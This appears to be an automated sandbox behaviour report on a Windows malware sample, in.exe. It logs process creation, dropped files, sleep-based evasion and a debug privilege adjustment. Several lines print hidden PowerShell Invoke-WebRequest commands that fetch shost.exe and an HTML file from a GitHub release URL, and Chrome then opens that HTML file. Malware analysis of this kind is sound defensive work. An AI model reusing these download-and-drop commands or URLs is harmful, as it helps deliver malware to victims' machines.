Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\in.exe

Code function: 0_2_0040A756 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_0040A756

Source: in.exe

Static PE information: section name: .code

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\shost.exe

Jump to dropped file

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\in.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\in.exe	Window / User API: threadDelayed 6899	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Window / User API: threadDelayed 3094	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 1137	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4314	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5552	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5177	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4566	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\shost.exe

Jump to dropped file

Source: C:\Users\user\Desktop\in.exe TID: 5556	Thread sleep count: 6899 > 30	Jump to behavior
Source: C:\Users\user\Desktop\in.exe TID: 5556	Thread sleep time: -172475s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\in.exe TID: 5556	Thread sleep count: 3094 > 30	Jump to behavior
Source: C:\Users\user\Desktop\in.exe TID: 5556	Thread sleep time: -77350s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1992	Thread sleep count: 4314 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1992	Thread sleep count: 5552 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5456	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7096	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2764	Thread sleep count: 5177 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 528	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2764	Thread sleep count: 4566 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6416	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Users\user\Desktop\in.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\in.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\in.exe	Thread sleep count: Count: 6899 delay: -25			Jump to behavior
Source: C:\Users\user\Desktop\in.exe	Thread sleep count: Count: 3094 delay: -25			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.tmp	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\Temp\CE69.tmp	Jump to behavior
Source: C:\Users\user\Desktop\in.exe	File opened: C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp	Jump to behavior

Source: svchost.exe, 00000008.00000002.4506692468.0000011F2E65A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.4504858015.0000011F2902B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\in.exe

Code function: 0_2_0040A756 GetTempPathW,LoadLibraryW,GetProcAddress,GetLongPathNameW,FreeLibrary,

0_2_0040A756

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_00409950 SetUnhandledExceptionFilter,		0_2_00409950
Source: C:\Users\user\Desktop\in.exe	Code function: 0_2_00409930 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,		0_2_00409930

Source: C:\Users\user\Desktop\in.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\archive.htm	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
